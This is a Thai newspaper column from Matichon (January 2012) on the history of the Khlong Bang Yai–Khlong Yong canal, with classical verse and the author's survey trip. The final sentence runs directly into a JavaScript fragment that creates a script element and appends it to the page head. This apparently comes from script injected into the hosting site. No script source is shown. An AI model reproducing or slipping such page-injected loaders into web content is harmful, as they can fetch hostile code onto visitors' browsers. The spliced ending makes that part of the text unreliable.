มติชนรายวัน ฉบับประจำวันพุธที่ 25 มกราคม 2555

 

          คุณขรรค์ชัย บุนปาน เป็นนักเลงอ่านวรรณคดี แล้วเขียนกวีนิพนธ์ ตั้งแต่นุ่งกางเกงขาสั้นเรียนมัธยมปลายอยู่วัดนวลนรดิศ ฝั่งธนบุรี (อาจอ่านและเขียนมาก่อนก็ได้ แต่ผมเพิ่งรู้ตอนนี้)

          เขามักท่องกลอนให้คนอื่นๆ ได้ยินเสมอๆ แล้วผมยังจำได้จนทุกวันนี้ ว่า

          ถึงมีเพื่อนเหมือนพี่ไม่มีเพื่อน              เพราะไม่เหมือนนุชนาฏที่มาดหมาย

          มีเพื่อนเล่นก็ไม่เหมือนกับเพื่อนตาย     มีเพื่อนชายก็ไม่เหมือนกับเพื่อนชม

          ครั้งนั้นไม่เคยอ่านวรรณคดี ผมเลยไม่รู้ว่ากลอนอะไร? ของใคร? หลังจากนั้นอีกนานถึงรู้ว่าเป็นกลอนมาจากนิราศพระแท่นดงรัง ของเสมียนมี กวีสมัยรัชกาลที่ 3 พรรณนาเมื่อล่องเรือเข้าคลองบางใหญ่ (นนทบุรี) จะไปแม่น้ำท่าจีน ที่เมืองนครชัยศรี (นครปฐม) เพื่อเดินบกขึ้นเกวียนไปพระแท่นดงรังทางแม่น้ำแม่กลอง (กาญจนบุรี)

 

คลองบางใหญ่ ตรงทางแยก จากคลองอ้อม บางกอกน้อย ที่บางม่วง ตรงไปคลองโยง ทะลุแม่น้ำท่าจีน ที่นครชัยศรี (มดดำ – พันธุ์ทิพย์ ธีระเนตร แห่งนิตยสาร Postcard ถ่ายรูปมาประกอบ)

 

          คลองบางใหญ่ แยกจากคลองอ้อม บางกอกน้อย (ที่ อ. บางใหญ่ จ. นนทบุรี) ฟากตะวันตกแม่น้ำเจ้าพระยา พุ่งออกไปทางทิศตะวันตก เชื่อมต่อกับคลองโยง (ที่ อ. พุทธมณฑล จ. นครปฐม) ไปทะลุแม่น้ำท่าจีน (ที่ อ. นครชัยศรี จ. นครปฐม)

          สรุปว่าคลองบางใหญ่กับคลองโยงเป็นคลองเดียวกัน ที่เชื่อมเจ้าพระยากับท่าจีน แต่เรียกชื่อต่างกันตามตำบลที่ผ่านเป็น 2 ตอนเท่านั้นเอง

          คลองบางใหญ่-คลองโยง น่าจะเป็นคลองธรรมชาติก่อน แล้วถูกแต่งให้ตรงในยุคหลังๆ เพราะเมื่อคราวสุนทรภู่แต่งนิราศสุพรรณสมัย ร.3 ยังเป็นคลองคดลดเลี้ยว ว่า

         ๏ คลองคดลดเลี้ยวล้วน            หลักตอ

          เกะกะระเรือรอ                        ร่องน้ำ

          คดคลองช่องแคบพอ              พายถ่อ  พ่อเอย

          คนคดลดเลี้ยวล้ำ                    กว่าน้ำลำคลอง

          เมื่อเสาร์-อาทิตย์ผ่านมา ผมไปสำรวจตรวจสอบเส้นทางคลองบางใหญ่ตั้งแต่แยกบางม่วง มีทางเลียบออกไปตัดกับถนนกาญจนาภิเษก แล้วลัดเลาะเข้าตรอกซอกซอยฝั่งตรงข้ามไปอีก ผ่านชุมชนวัดวาอารามริมคลอง จนเข้าเขตศาลายา พุทธมณฑล, ลานตากฟ้า นครชัยศรี

          โดยใช้แผนที่กรุงเทพฯและเขตติดต่อ 8 จังหวัดของบางกอกไกด์ ที่ซื้อมาจากร้านขายหนังสือ ดูประกอบแผนที่อำเภอบางบัวทองของกรมแผนที่ทหาร ทำให้เดินทางสะดวกขึ้นมาก

          พอขึ้นถนนกรุงนนท์-จงถนอมที่ศาลายา ก็พอดีพระอาทิตย์ตกดิน ไม่ทันสำรวจอีกฟากหนึ่งที่ไปลงท่าจีน เพราะเมื่อ 2-3 ปีก่อนเคยหาทางเลียบคลองโยง แล้วหลงเข้ารกเข้าพงไปออกวัดหลวงพ่อเปิ่นโน่น เลยเข็ดขี้อ่อนขี้แก่ไม่กล้าซ้ำ

          คลองบางใหญ่-คลองโยง เป็นคลองธรรมชาติ (มีอยู่ก่อนคลองมหาสวัสดิ์ ที่ขุดสมัย ร.4 ขนานไปกับคลองบางใหญ่-คลองโยง) สมัย ร.3 เจ้าฟ้ามงกุฎเคยเสด็จผ่านคลองบางใหญ่-คลองโยง ไปทรงนมัสการสถูปเก่าที่ปัจจุบันคือพระปฐมเจดีย์

          รัฐและชุมชนจำเป็นต้องร่วมกันทำนุบำรุงคลองนี้เป็นแก้มลิง แล้วระบายไล่น้ำลงท่าจีน เท่ากับรักษาเส้นทางประวัติศาสตร์ และสร้างเส้นทางท่องเที่ยววัฒนธรรมแห่งใหม่ด้วย ได้ประโยชน์หลายอย่างในคราวเดียวvar d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);